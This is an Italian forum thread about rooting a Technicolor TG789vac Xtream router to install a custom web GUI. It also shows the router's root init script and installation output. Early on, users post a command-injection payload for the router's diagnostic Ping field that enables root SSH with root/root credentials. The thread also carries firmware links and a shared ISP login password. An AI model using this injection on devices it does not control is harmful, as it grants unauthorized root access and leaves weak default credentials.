option vendorid 'Technicolor_TG789vacXtream_IAD/dslforum.org'
option authfail '0'
option iface6rd '6rd'
option zone6rd 'wan'
option mtu '1500'
option initboot '1'
option ipv6 '0'
option auto '0'
option notused '10:13:XX:XX:XX:XX'
option ifname 'vlan_ptm0'
config interface 'wwan'
option auto '1'
config config 'config'
-
eth5 credo sia il wifi, scegline una da 0 a 3
devi anche disabilitare 'wan' e il wansensing
-
@MisterFTTH ok, grazie letto
@LuKePicci faccio qualche prova, ti ringrazio
-
ciao raga come sbolcco il suddetto ruter TG789vac Xtream 35b? vorrei installare la gui ansuel e renderlo peratore libero da usare con tim
-
Credo di ricordare che puoi sbloccarlo allo stesso modo del modem Tiscali https://www.ilpuntotecnico.com/forum/index.php/topic,77988.0.html. Prova
-
buongiorno purtroppo nel trend che mi hai consigliato mi è stato detto che non è quello giusto e di richiedere qui come fare a sbloccarlo , non perdendo il voip il mio è un
16.2.7825-3401001-20170627171140_FW_212_IAD_TG789vacXtream
-
le istruzioni sono in prima pagina, qualche post più in basso - il nono per l'esattezza
-
@ghedo75 Non intendevo dire che dovevi chiedere li, ma che questa procedura dovrebbe funzionare anche con il tuo modem
Inserire nel campo Ping della sezione Diagnostica del router i 2 comandi
:::::::;uci set dropbear.@dropbear[0].PasswordAuth='on';uci set dropbear.@dropbear[0].Interface='lan';uci set dropbear.@dropbear[0].RootPasswordAuth='on';uci set dropbear.@dropbear[0].RootLogin='1';uci set dropbear.@dropbear[0].enable='1';uci commit
:::::::;echo -e "root\nroot" | passwd;sed -i 's#root:/bin/false#root:/bin/ash#' /etc/passwd;sed -i 's/#//' /etc/inittab;/etc/init.d/dropbear restart
D'ora in poi sarà possibile accedere alla shell del router su porta SSH 22 con credenziali root/root (o altra password, se cambiata in seguito). (questa procedura non è farina del mio sacco e ringrazio i forumisti che hanno contribuito alla sua stesura)
@LuKePicci Non gli ho consigliato quella perché in fin dei conti questa procedura è più facile, funziona sfruttando lo stesso metodo e non richiede l'uso di netcat
-
allora ragazzio ho montato la gui ansuel solo che spesso si impalla la gui sviluppatore all'apertura cioè non comaiono me le statistiche ne le tabs e non comparendomi non riesco nemmeno provare la stabile o la prewiev, come faccio?
-
Cambia dev in stable o preview in /etc/config/modgui e poi dai il comando upgradegui
-
@lorenzocanalelc hai fatto bene, ma lui invece di spiare di soppiatto quella guida facendo un tentativo è andato di la a chiedere aiuto su come sbloccare questo device con la loro guida e quindi prima che sbandasse come un gatto in tangenziale l'ho reindirizzato qui spiegandogli cosa stava succedendo. Se hai già controllato che i comandi sono corretti anche per questo device è sicuramente meglio suggerire quelli, e magari chiedere @matteone2 di suggerirli anche in prima pagina.
-
ciao a tutti aggiornato la gui di ansuel all' ultima stabile perche la 9.04 non mi faceva andare il fiwi ma come detto pur essendo la versione stabile non mi compaiono piu nessuna tab e nemmno le statistiche , ho solo la classica pagina gui ma senza nulla , cosa sto sbagliando?
-
@ghedo75 te la senti di farmi alcuni comandi per capire il problema?
-
@Ansuel ciao grazie mille per la disponibilità io ci sono , calcola che sono però un neofita quindi abbi pazienza , sblocchiamo questo modem ostile
-
@Ansuel Ciao, anche io ho lo stesso problema (non vengono visualizzate le tab) e sono disponibile per fare delle prove
-
pare ci sia una versione 8706 (immagino 16.2.8706...) per questo dispositivo qualcuno riesce a procurarsi l'RBI ?
https://github.com/Ansuel/tch-nginx-gui/issues/746#issuecomment-517263614
-
http://59.0.121.191:8080/ACS-server/file/16.2.8706_FW_214_IAD_TG789vacXtream.rbi
la variante MOS non credo serva a nessuno, nel caso fatemi sapere
-
Mirroro qui https://anonfile.com/VeWeof2fn5/16.2.8706_FW_214_IAD_TG789vacXtream_rbi
-
eureka trovato il firmware ma solo il 16.1 sulla mia repo lo trovate nella cartella vac xtream il ritrovamento è stato veramente una follia
http://59.0.121.191:8080/ACS-server/file/16.2.7384-2341002_FW_209_MOS_TG789vacXtream.rbi non va
http://59.0.121.191:8080/ACS-server/file/16.1.6637-2081001_FW_108_MOS_TG789vacXtream.rbi si che va
Non riesco a scaricare i firmwares.
Questi links sono ancora validi?
grazie
-
provate questa:
http://59.0.121.191:8080/ACS-server/file/16.2.7825-3401002_FW_212_MOS_TG789vacXtream.rbi
lo stesso questo.
Non riesco a scaricarlo
grazie
-
Sono riuscito a scaricare i vecchi firmwares ed a sbloccare il modem.
La procedura funziona fino alla versione 16.2.7825 con la 16.2.8706 no.
Non appena però collego il modem alla fibra, si aggiorna all'ultima versione 16.2.8706 e perdo il root.
Cosa devo fare per bloccare l'aggiornamento automatico?
grazie
buona serata
-
I link funzionano solo da rete Fastweb.
In questo post l'ho riuplodato e scaricabile da tutti https://www.ilpuntotecnico.com/forum/index.php/topic,78382.msg253488.html#msg253488
Se non funziona il rooting dal campo ping sul firmware 8706 sarebbe da provare quello dal DDNS, in alternativa installare la gui custom con I firmare più vecchi dopo il root, e poi aggiornare tramite sysupgrade, si occuperà la GUI di rootare post aggiornamento
EDIT: e sono comunque tutti disponibili anche in repo https://repository.ilpuntotecnico.com/files/Ansuel/FASTWEB/TG789vacXtream/
-
I link funzionano solo da rete Fastweb.
In questo post l'ho riuplodato e scaricabile da tutti https://www.ilpuntotecnico.com/forum/index.php/topic,78382.msg253488.html#msg253488
Se non funziona il rooting dal campo ping sul firmware 8706 sarebbe da provare quello dal DDNS, in alternativa installare la gui custom con I firmare più vecchi dopo il root, e poi aggiornare tramite sysupgrade, si occuperà la GUI di rootare post aggiornamento
Dal campo DDNS ancora dovrebbe andare, Poi per bloccare l aggiornamento puoi usare il classico /etc/init.d/cwmpd stop o service cwmp stop / disable
-
Peccato che tolto lo sblocco come root la GUI di Ansuel su questo dispositivo abbia ancora problemi (vedasi WiFi e il Wizard che si imposta come gli pare a lui).
Se poi qualcosa mi sfugge sono tutto orecchie (e occhi). :)
-
Sono finalmente riuscito a mettere la GUI di @Ansuel sul TG789vac Xtream 35b ma dovrei usarlo su una TIM per ora e poi su una WIND.
Ho aggiunto nel TAB-> Banda Larga l'Opzione USO VLAN 835 e Notazione Device
Ho Tolto nel Tab -> Accesso Internet il Rilevamento Automatico e messo TIM (Italia)
in connessione PPP come nome Utente Ho copiato quello che c'era nel DGA4130 "***@00000.agcombores.unica"
e come password "alicenewag"
ma mi esce sempre la scritta "xact data not found in this paths:
Key uci_wan_password : [email protected]"
cosa posso fare ?
-
prova se basta dare questo da ssh
uci set network.wan.password='alicenewag'
uci commit network
-
Diciamo che l'idea e' stata ottima, non ho risolto solo con quei 2 comandi , ma con quelli mi sono ricopiato tutta la sezione wan del 4130 e ora si collega , solo che ...
se spengo e riaccendo mi lascia tutto quasi come ho lasciato e sono costretto a fare manualmente
uci set network.wan.ifname='wanptm0'
uci commit network
perche' ifname la mette sempre in ptm0 (e non va)
poi devo andare nel TAB Impostazione Relay , attivare salvare e dopo si collega alla rete
idee per non farlo ad ogni riavvio ?
-
@kirckc ciao scusa del disturbo , potresti spiegarmi passo a passo come hai fatto a sbloccare il modem ? io ci sto provando da tempo pero non ho capito come fare il root c'è ma quando carico la gui ultima versione non mi raggiunge piu il modem .ti prego aiutami , sto sbagliando qualcosa ma non so cosa .
ps non riesco a montare il firmware che è qui postato .
-
@kirckc se riesci elencami tutti i path che mancavano, almeno ci assicuriamo di crearli tutti con la gui...
Per il fatto che al riavvio ti mette quell'interfaccia direi wansensing... È disattivato sia su broadband che su internet? Anche se mi sembra strano ti metta ptm0 ammenocche quell'interfaccia non sia già con il tag VLAN impostato (il 100 che usa Fastweb)
-
riuscireste a spiegarmi come avete fatto a sbloccare questo ruter? io non ci riesco , la root cè ma la gui se la installo non mi raggiunge piu dal comando 192.168.1.254
-
aggiornalo all'ultimo firmware tramite sysupgrade, la Custom GUI non funziona con i più vecchi
-
riusciresti a spiegarmi come si fa ad aggiornare tramite sysupgrade , non so neanche che cosa sia e quale firmware montare ?
grazie mille
-
che versione hai la MOS o la IAD ??
-
prendi questo file https://anonfile.com/VeWeof2fn5/16.2.8706_FW_214_IAD_TG789vacXtream_rbi
mettilo in /tmp con winscp
apri ssh ed esegui sysupgrade -n /tmp/16.2.8706_FW_214_IAD_TG789vacXtream.rbiattendi il riavvio dopodichè reinstalla la GUI
-
Sei sicuro che abbia la versione IAD ??
-
poco cambia, lo rimpiazza con IAD che è meglio
(comunque aveva già IAD: https://www.ilpuntotecnico.com/forum/index.php/topic,78382.msg252414.html#msg252414)
-
firmware montato senza errori, monto la gui ultima stabile del 22 di agosto, mi restituisce degli errori mentre la installo e poi quando vado alla pagina modem errore 404 , come faccio ? quale gui devo montare?io ho preso quella del mio 4132
-
Io ho messo l'ultima della DEV
-
con questo firmware16.2.8706_FW_214_IAD_TG789vacXtream.rbi?
-
scrivi gli errori che ti escono.
quando fai l'installazione esegui /etc/init.d/rootdevice debug anzichè force finale e posta tutto il risultato, parti sempre da una situazione pulita quindi magari fai prima di tutto un reset con tastino.
-
la tabs wifi sembra non aprirsi , dove devo digitare /etc/init.d/rootdevice debug?
-
questo è quello che mi avevi chiesto
# This file is part of Custom Gui for Technicolor Modem.
#
# Custom Gui for Technicolor Modem is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
#!/bin/ash /etc/rc.common
#
#
# Custom Gui for Technicolor Modem: utility script and modified gui for the
# Technicolor Modem interface based on OpenWrt
#
# Copyright (C) 2018 Christian Marangi <[email protected]>
#
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Custom Gui for Technicolor Modem is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Custom Gui for Technicolor Modem. If not, see <http://www.gnu.org/licenses/>.
#
#
START=94
EXTRA_COMMANDS="force debug"
EXTRA_HELP="\
force Force root process even when root flag is already set
debug force command with debug log
"
#Gui version is now autocompleted base on latest dev, this variable will be replaced by the automatic script
version_gui=9.4.24
#Latest version on TIM cwmp for version spoof
latest_version_on_TIM_cwmp="2.1.0"
logo_project() {
cat <<EOF >/dev/console
█████╗ ███╗ ██╗███████╗██╗ ██╗███████╗██╗
██╔â•â•â–ˆâ–ˆâ•—████╗ ██║██╔â•â•â•â•â•â–ˆâ–ˆâ•‘ ██║██╔â•â•â•â•â•â–ˆâ–ˆâ•‘
███████║██╔██╗ ██║███████╗██║ ██║█████╗ ██║
██╔â•â•â–ˆâ–ˆâ•‘██║╚██╗██║╚â•â•â•â•â–ˆâ–ˆâ•‘██║ ██║██╔â•â•â• ██║
██║ ██║██║ ╚████║███████║╚██████╔â•â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ•—███████╗
â•šâ•â• â•šâ•â•â•šâ•â• â•šâ•â•â•â•â•šâ•â•â•â•â•â•â• â•šâ•â•â•â•â•â• â•šâ•â•â•â•â•â•â•â•šâ•â•â•â•â•â•â•
(Modified Gui RootScript) (Christo)
EOF
logger <<EOF
_
/\ (Modified Gui RootScript) | |
/ \ _ __ ___ _ _ ___ | |
/ /\ \ | '_ \ / __|| | | | / _ \| |
/ ____ \ | | | |\__ \| |_| || __/| |
/_/ \_\|_| |_||___/ \__,_| \___||_|
(Christo)
EOF
}
check_root() {
config_load "system"
config_get_bool rooted config rooted 0
cat <<EOF >/dev/console
=== IMPORTANT =======================================
Checking root...
EOF
}
####################LOG FUNCTION#################
logger_command() {
if [ "$debug" -eq 1 ]; then
logger -t "Root Script" "$1"
echo "Root Script" "$1"
fi
}
#################################################
transfer_bank() {
#This function will clone and switch banks
if [ -d /overlay/bank_1 ]; then
rm -r /overlay/bank_1
fi
mkdir /overlay/bank_1
cp -a /overlay/bank_2/* /overlay/bank_1/
if [ -f /overlay/bank_1/etc/init.d/rootdevice ]; then
#mtd erase /dev/mtd3
mtd write /dev/mtd4 /dev/mtd3
fi
activeversion=$(cat /proc/banktable/activeversion)
passiveversion=$(cat /proc/banktable/passiveversion)
if [ "$activeversion" == "$passiveversion" ]; then
echo bank_1 >/proc/banktable/active
reboot
fi
}
restore_bank() {
#This function will clone bank1 to bank2 or vice-versa
bootedbank=$(cat /proc/banktable/booted)
activebank=$(cat /proc/banktable/active)
if [ -f "/overlay/$activebank" ]; then
rm -r "/overlay/$activebank"
fi
mkdir "/overlay/$activebank"
cp -a "/overlay/$bootedbank/*" "/overlay/$activebank"
if [ -f "/overlay/$activebank/etc/init.d/rootdevice" ]; then
if [ "$bootedbank" == "bank_1" ]; then
mtd write /dev/mtd3 /dev/mtd4
else
mtd write /dev/mtd4 /dev/mtd3
fi
fi
if [ "$activeversion" == "$passiveversion" ]; then
echo "$bootedbank" >/proc/banktable/active
reboot
fi
}
disable_upload_coredump_and_reboot() {
#disable upload to tim server for coredump...
#This is a modified build so let's not full server with false coredump.
if [ "$(uci get -q system.[member=77439]coredump[/member][0].action)" != "ignore" ]; then
uci set system.[member=77439]coredump[/member][0].action="ignore"
fi
if [ "$(uci get -q system.[member=77439]coredump[/member][0].reboot)" != "0" ]; then
logger_command "Disable reboot after crash, this gives race condition..."
uci set system.[member=77439]coredump[/member][0].reboot='0'
fi
#Clean coredump
if [ "$(find /root -type f -name "*.core.*")" ]; then
for coredump in /root/*.core.*; do
logger_command "Removing coredump $coredump from /root..."
rm "$coredump"
done
fi
}
root() {
logger_command "Setting root flag"
uci set system.config.rooted='1' #this crate a flag in the config to know if it's rooted or not
logger_command "Reset unlock bit"
uci set env.var.unlockedstatus='0'
[ -f /etc/modgui_old ] && mv /etc/modgui_old /etc/config/modgui
encrypted_pass=$(awk -F: '/root/ {print $2 }' /etc/shadow)
default_encrypted_pass='$5liEJpfo7NYE'
saved_encrypted_pass=$(uci -q get modgui.var.encrypted_pass)
store_pass_in_uci() {
#Redefine encrypted_pass as this can change after the shadow check
encrypted_pass=$(awk -F: '/root/ {print $2 }' /etc/shadow)
echo " New password detected!" >/dev/console
echo " Storing encrypted password..." >/dev/console
if [ ! -f /etc/config/modgui ]; then
touch /etc/config/modgui
uci set modgui.var=var
fi
uci set modgui.var.encrypted_pass="$encrypted_pass"
}
logger_command "Save root password if modified"
if [ "$(awk -F: '/root/ {print $7 }' /etc/passwd)" != "/bin/ash" ]; then #this enable root access from login
sed -i '1croot:x:0:0:root:/root:/bin/ash' /etc/passwd
fi
if [ -f /shadow_old ] && [ -f /root/.reapply_due_to_upgrade ]; then
old_encrypted_pass=$(awk -F: '/root/ {print $2 }' /etc/shadow_old)
sed -i -e 's|"${encrypted_pass}"|"${old_encrypted_pass}"|' /etc/shadow
rm /shadow_old
echo " Restoring old root password as this is a firmware upgrade!" >/dev/console
elif [ -n "$saved_encrypted_pass" ]; then
if [ "$encrypted_pass" != "$saved_encrypted_pass" ]; then
if [ -f /root/.reapply_due_to_upgrade ]; then
echo " Setting root password from password saved in config" >/dev/console
sed -i -e 's|"${encrypted_pass}"|"${saved_encrypted_pass}"|' /etc/shadow
else
echo " Shadow contains different pass than saved one. Save it!" >/dev/console
store_pass_in_uci
fi
fi
elif [ "$encrypted_pass" != "$default_encrypted_pass" ] ||
[ -f /root/.reapply_due_to_upgrade ]; then #all of this is to check the root
echo -e "root\nroot" | passwd >/dev/null
#Redefine encrypted_pass as this can change after the shadow check
encrypted_pass=$(awk -F: '/root/ {print $2 }' /etc/shadow)
if [ "$encrypted_pass" != "$default_encrypted_pass" ]; then
sed -i -e 's|"${encrypted_pass}"|"${default_encrypted_pass}"|' /etc/shadow
fi
echo " Setting root password" >/dev/console
store_pass_in_uci
elif [ "$encrypted_pass" == "$default_encrypted_pass" ]; then
echo " Root password detected" >/dev/console
elif [ "$encrypted_pass" == "$saved_encrypted_pass" ]; then
echo " Changed root password detected!" >/dev/console
fi
if [ -z "$saved_encrypted_pass" ]; then
store_pass_in_uci
fi
logger_command "Setting & Enabling Dropbear SSH Server"
dropbear_path="dropbear.@dropbear[0]"
if [ "$(uci get -q dropbear.lan)" ]; then
dropbear_path="dropbear.lan"
fi
uci set "$dropbear_path".Interface='lan'
uci set "$dropbear_path".RootLogin='1'
uci set "$dropbear_path".RootPasswordAuth='on' #dropbear root related
uci set "$dropbear_path".PasswordAuth='on'
uci set "$dropbear_path".enable='1'
uci commit dropbear
uci commit modgui
logger_command "Restarting Dropbear SSH Server"
/etc/init.d/dropbear restart >/dev/null
}
install_gui() {
[[ -z "$log_progress" ]] && log_progress=0
[[ -z "$restart_dnsmasq" ]] && restart_dnsmasq=0
logger -s -t 'Root Script' "Installing in progress..."
logger_command "Start rooting"
if [ ! -f /root/.check_process ]; then #this check if the placeholder exist
touch /root/.check_process #this is a placeholder to know if the process ends correctly
fi
root #This check root availability
if [ -d /etc/modgui_scripts ]; then
for file in /etc/modgui_scripts/*; do
logger_command "Executing $file" ConsoleOnly
. $file
done
fi
#Remove reapply file as the root process after upgrade has finished.
if [ -f /root/.reapply_due_to_upgrade ]; then
rm /root/.reapply_due_to_upgrade
fi
echo " Process done. Your modem is now rooted!" >/dev/console
}
check_bank() {
bank_check=$(uci get -q modgui.var.bank_check)
bootedbank=$(cat /proc/banktable/booted)
activebank=$(cat /proc/banktable/active)
env_config_bank1="/overlay/bank_1/etc/config/env"
if [ "$bootedbank" != "$activebank" ]; then
echo " Detected corrupted active bank... Restoring..." >/dev/console
restore_bank
fi
if [ "$bootedbank" == "bank_2" ]; then
if [ -f $env_config_bank1 ]; then
get_config_bank1=$(< $env_config_bank1 grep bank_check | awk '{print $3}' | sed "s/'//g")
if [ -n "$get_config_bank1" ] && [ ! "$(uci -q get modgui.var.bank_check)" ]; then
uci set modgui.var.bank_check="$get_config_bank1"
uci commit modgui
fi
else
uci set modgui.var.bank_check="1"
uci commit modgui
fi
if [ "$(uci -q get modgui.var.bank_check)" == "0" ]; then
logger_command "Firmware in Bank_2 but check_bank set to 0... Not transferring"
echo " Firmware in Bank_2 but check_bank set to 0... Not transferring" >/dev/console
else
logger_command "Firmware in Bank_2... Transferring"
echo " Firmware in Bank_2... Transferring" >/dev/console
transfer_bank
fi
else
echo " Firmware in Bank_1... Not transferring..." >/dev/console
fi
}
check_full_rootfs() {
rootfx_percet=$(df /overlay | sed -n 2p | awk {'{print $5}'} | sed 's|%||')
overlay_mtdblock=$(df /overlay | sed -n 2p | awk {'{print $1}'})
bootedbank=$(cat /proc/banktable/booted)
#Reset if rootfs more than 97% full
if [ "$rootfx_percet" -gt 96 ]; then
logger_command "DETECTED FULL ROOTFS... TRYING TO RESTORE..."
echo " DETECTED FULL ROOTFS... TRYING TO RESTORE..." >/dev/console
for dir in /overlay/"$bootedbank"/*; do
if [ ! "$dir" == "/overlay/$bootedbank/etc" ]; then
logger_command "TRYING TO SAVE ROOT BY REMOVING EVERY DIR EXCEPT /etc"
echo " TRYING TO SAVE ROOT BY REMOVING EVERY DIR EXCEPT /etc" >/dev/console
rm -r -f "$dir"
fi
done
#Verify if rm did actually remove the file...
if [ -d "/overlay/$bootedbank/root" ]; then
logger_command "CAN'T REMOVE FILES... INITIALISING FULL ROOTFS ERASE"
echo " CAN'T REMOVE FILES... INITIALISING FULL ROOTFS ERASE" >/dev/console
logger_command "THIS WILL RESTORE THE MODEM TO FACTORY SETTINGS"
echo " THIS WILL RESTORE THE MODEM TO FACTORY SETTINGS" >/dev/console
mtd erase -r "$overlay_mtdblock"
fi
fi
}
###########################################################################################
# Init.d function #
###########################################################################################
force() {
force=1
boot
}
debug() {
export debug=1
force=1
boot
}
boot() {
logo_project
check_full_rootfs
check_root
[ -z "$rooted" ] && rooted=0
[ -z "$force" ] && force=0
[ -z "$debug" ] && export debug=0
if [ $rooted -ne 1 ]; then
echo " Root not detected! Rooting..." >/dev/console
root
echo " Disabling reboot on crash..." >/dev/console
disable_upload_coredump_and_reboot
fi
if [ -f /root/.check_process ]; then
echo " GUI install process not terminated well! Reinstalling..." >/dev/console
install_gui
elif [ -f /root/.install_gui ]; then
echo " detected reinstall GUI request! Installing..." >/dev/console
install_gui
else
if [ $force -eq 1 ]; then
echo " force flag detected! Reinstalling..." >/dev/console
install_gui
else
echo " No force flag detected! Doing nothing." >/dev/console
fi
fi
check_bank
}
-
FrancYescO non ti ha chiesto il contenuto del file /etc/init.d/rootdevice che è comune ha tutti ma di installare la gui con il comando
/etc/init.d/rootdevice debug
per poi mostragli tutto l'output del comando del tipo
root@dsldevice:~# /etc/init.d/rootdevice debug
Root Script: Installing in progress...
Root Script Start rooting
Root Script Setting root flag
Root Script Reset unlock bit
Root Script Save root password if modified
Root Script Setting & Enabling Dropbear SSH Server
Root Script Restarting Dropbear SSH Server
Root Script Executing /etc/modgui_scripts/01_prereq.sh
Root Script Disabling watchdog...
Root Script Checking Free RAM...
Root Script Executing /etc/modgui_scripts/02_specific.sh
.....
.....
-
come lo installo da quel comando /etc/init.d/rootdevice debug? calcola che sono in offline con questo ruter
-
Come l'hai installata sino ad ora, ma invece dare il comando
/etc/init.d/rootdevice force
devi dare il comando
/etc/init.d/rootdevice debug
-
spero di esserci riuscito
prima parte
/tmp$ bzcat /tmp/GUI_dev.tar.bz2 | tar -C / -xvf - && /etc/init.d/rootdevice debug
etc/
etc/init.d/
etc/init.d/cupsd
etc/init.d/wol
etc/init.d/xdsl
etc/init.d/trafficdata
etc/init.d/trafficmon
etc/init.d/power
etc/init.d/fcctlsettings
etc/init.d/mobiled
etc/init.d/rootdevice
etc/init.d/dosprotect
etc/nginx/
etc/nginx/naxsi_core.rules
etc/nginx/nginx.conf
etc/nginx/win-utf
etc/nginx/koi-win
etc/nginx/fastcgi_params
etc/nginx/mime.types
etc/nginx/koi-utf
etc/rc.d/
etc/rc.d/S94rootdevice
etc/christmas_tree.sh
etc/tod/
etc/tod/voicedndscript.lua
etc/tod/wifitodscript.lua
etc/ssl/
etc/ssl/certs/
etc/ssl/certs/653b494a.0
etc/ssl/certs/3bde41ac.0
etc/ssl/certs/8cb5ee0f.0
etc/ssl/certs/b7a5b843.0
etc/ssl/certs/f0c70a8d.0
etc/ssl/certs/c0ff1f52.0
etc/ssl/certs/TWCA_Global_Root_CA.crt
etc/ssl/certs/02265526.0
etc/ssl/certs/Amazon_Root_CA_3.crt
etc/ssl/certs/QuoVadis_Root_CA_3_G3.crt
etc/ssl/certs/TUBITAK_Kamu_SM_SSL_Kok_Sertifikasi_-_Surum_1.crt
etc/ssl/certs/cc450945.0
etc/ssl/certs/Network_Solutions_Certificate_Authority.crt
etc/ssl/certs/DigiCert_Global_Root_G3.crt
etc/ssl/certs/AC_RAIZ_FNMT-RCM.crt
etc/ssl/certs/fc5a8f99.0
etc/ssl/certs/fe8a2cd8.0
etc/ssl/certs/3e44d2f7.0
etc/ssl/certs/Amazon_Root_CA_2.crt
etc/ssl/certs/SwissSign_Gold_CA_-_G2.crt
etc/ssl/certs/1d3472b9.0
etc/ssl/certs/Trustis_FPS_Root_CA.crt
etc/ssl/certs/9d04f354.0
etc/ssl/certs/e36a6752.0
etc/ssl/certs/QuoVadis_Root_CA_3.crt
etc/ssl/certs/CFCA_EV_ROOT.crt
etc/ssl/certs/4042bcee.0
etc/ssl/certs/Comodo_AAA_Services_root.crt
etc/ssl/certs/93bc0acc.0
etc/ssl/certs/Visa_eCommerce_Root.crt
etc/ssl/certs/IdenTrust_Commercial_Root_CA_1.crt
etc/ssl/certs/AffirmTrust_Premium.crt
etc/ssl/certs/7aaf71c0.0
etc/ssl/certs/4304c5e5.0
etc/ssl/certs/AffirmTrust_Networking.crt
etc/ssl/certs/USERTrust_RSA_Certification_Authority.crt
etc/ssl/certs/ePKI_Root_Certification_Authority.crt
etc/ssl/certs/T-TeleSec_GlobalRoot_Class_2.crt
etc/ssl/certs/106f3e4d.0
etc/ssl/certs/certSIGN_ROOT_CA.crt
etc/ssl/certs/SSL.com_Root_Certification_Authority_ECC.crt
etc/ssl/certs/5ad8a5d6.0
etc/ssl/certs/cd8c0d63.0
etc/ssl/certs/OpenTrust_Root_CA_G3.crt
etc/ssl/certs/cbf06781.0
etc/ssl/certs/2c11d503.0
etc/ssl/certs/608a55ad.0
etc/ssl/certs/CA_Disig_Root_R2.crt
etc/ssl/certs/Security_Communication_Root_CA.crt
etc/ssl/certs/e8de2f56.0
etc/ssl/certs/Starfield_Services_Root_Certificate_Authority_-_G2.crt
etc/ssl/certs/Certinomis_-_Root_CA.crt
etc/ssl/certs/ee64a828.0
etc/ssl/certs/57bcb2da.0
etc/ssl/certs/Hellenic_Academic_and_Research_Institutions_RootCA_2011.crt
etc/ssl/certs/Chambers_of_Commerce_Root_-_2008.crt
etc/ssl/certs/a760e1bd.0
etc/ssl/certs/ca-certificates.crt
etc/ssl/certs/DigiCert_High_Assurance_EV_Root_CA.crt
etc/ssl/certs/Hellenic_Academic_and_Research_Institutions_RootCA_2015.crt
etc/ssl/certs/QuoVadis_Root_CA.crt
etc/ssl/certs/SwissSign_Silver_CA_-_G2.crt
etc/ssl/certs/VeriSign_Class_3_Public_Primary_Certification_Authority_-_G4.crt
etc/ssl/certs/GeoTrust_Primary_Certification_Authority_-_G3.crt
etc/ssl/certs/4a6481c9.0
etc/ssl/certs/Verisign_Class_3_Public_Primary_Certification_Authority_-_G3.crt
etc/ssl/certs/18856ac4.0
etc/ssl/certs/TeliaSonera_Root_CA_v1.crt
etc/ssl/certs/5f15c80c.0
etc/ssl/certs/1e09d511.0
etc/ssl/certs/7992b8bb.0
etc/ssl/certs/eed8c118.0
etc/ssl/certs/GlobalSign_Root_CA_-_R3.crt
etc/ssl/certs/Baltimore_CyberTrust_Root.crt
etc/ssl/certs/76faf6c0.0
etc/ssl/certs/812e17de.0
etc/ssl/certs/8d86cdd1.0
etc/ssl/certs/d6325660.0
etc/ssl/certs/Entrust_Root_Certification_Authority.crt
etc/ssl/certs/7f3d5d1d.0
etc/ssl/certs/244b5494.0
etc/ssl/certs/9c2e7d30.0
etc/ssl/certs/5273a94c.0
etc/ssl/certs/thawte_Primary_Root_CA_-_G2.crt
etc/ssl/certs/SSL.com_EV_Root_Certification_Authority_ECC.crt
etc/ssl/certs/dd8e9d41.0
etc/ssl/certs/AffirmTrust_Premium_ECC.crt
etc/ssl/certs/3e45d192.0
etc/ssl/certs/0bf05006.0
etc/ssl/certs/OpenTrust_Root_CA_G1.crt
etc/ssl/certs/2b349938.0
etc/ssl/certs/VeriSign_Universal_Root_Certification_Authority.crt
etc/ssl/certs/f060240e.0
etc/ssl/certs/Buypass_Class_3_Root_CA.crt
etc/ssl/certs/7719f463.0
etc/ssl/certs/GeoTrust_Primary_Certification_Authority_-_G2.crt
etc/ssl/certs/d7e8dc79.0
etc/ssl/certs/2ae6433e.0
etc/ssl/certs/b204d74a.0
etc/ssl/certs/EE_Certification_Centre_Root_CA.crt
etc/ssl/certs/988a38cb.0
etc/ssl/certs/GeoTrust_Universal_CA.crt
etc/ssl/certs/6b99d060.0
etc/ssl/certs/DigiCert_Assured_ID_Root_CA.crt
etc/ssl/certs/Microsec_e-Szigno_Root_CA_2009.crt
etc/ssl/certs/Certplus_Root_CA_G2.crt
etc/ssl/certs/5443e9e3.0
etc/ssl/certs/QuoVadis_Root_CA_2_G3.crt
etc/ssl/certs/ef954a4e.0
etc/ssl/certs/3513523f.0
etc/ssl/certs/6410666e.0
etc/ssl/certs/Staat_der_Nederlanden_Root_CA_-_G2.crt
etc/ssl/certs/c089bbbd.0
etc/ssl/certs/Certum_Trusted_Network_CA.crt
etc/ssl/certs/0b1b94ef.0
etc/ssl/certs/Starfield_Root_Certificate_Authority_-_G2.crt
etc/ssl/certs/TrustCor_RootCert_CA-1.crt
etc/ssl/certs/4bfab552.0
etc/ssl/certs/Staat_der_Nederlanden_Root_CA_-_G3.crt
etc/ssl/certs/607986c7.0
etc/ssl/certs/Certplus_Class_2_Primary_CA.crt
etc/ssl/certs/480720ec.0
etc/ssl/certs/Hongkong_Post_Root_CA_1.crt
etc/ssl/certs/48bec511.0
etc/ssl/certs/87229d21.0
etc/ssl/certs/157753a5.0
etc/ssl/certs/f39fc864.0
etc/ssl/certs/SecureTrust_CA.crt
etc/ssl/certs/Sonera_Class_2_Root_CA.crt
etc/ssl/certs/Taiwan_GRCA.crt
etc/ssl/certs/aee5f10d.0
etc/ssl/certs/749e9e03.0
etc/ssl/certs/Amazon_Root_CA_4.crt
etc/ssl/certs/de6d66f3.0
etc/ssl/certs/c28a8a30.0
etc/ssl/certs/TrustCor_ECA-1.crt
etc/ssl/certs/c01cdfa2.0
etc/ssl/certs/9c8dfbd4.0
etc/ssl/certs/b1b8a7f3.0
etc/ssl/certs/thawte_Primary_Root_CA.crt
etc/ssl/certs/b66938e9.0
etc/ssl/certs/d4dae3dd.0
etc/ssl/certs/COMODO_Certification_Authority.crt
etc/ssl/certs/b0e59380.0
etc/ssl/certs/Deutsche_Telekom_Root_CA_2.crt
etc/ssl/certs/thawte_Primary_Root_CA_-_G3.crt
etc/ssl/certs/8867006a.0
etc/ssl/certs/9168f543.0
etc/ssl/certs/Atos_TrustedRoot_2011.crt
etc/ssl/certs/cd58d51e.0
etc/ssl/certs/a94d09e5.0
etc/ssl/certs/2c543cd1.0
etc/ssl/certs/E-Tugra_Certification_Authority.crt
etc/ssl/certs/f387163d.0
etc/ssl/certs/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.crt
etc/ssl/certs/GeoTrust_Primary_Certification_Authority.crt
etc/ssl/certs/DST_Root_CA_X3.crt
etc/ssl/certs/064e0aa9.0
etc/ssl/certs/4f316efb.0
etc/ssl/certs/349f2832.0
etc/ssl/certs/DigiCert_Assured_ID_Root_G2.crt
etc/ssl/certs/9f0f5fd6.0
etc/ssl/certs/SecureSign_RootCA11.crt
etc/ssl/certs/Hellenic_Academic_and_Research_Institutions_ECC_RootCA_2015.crt
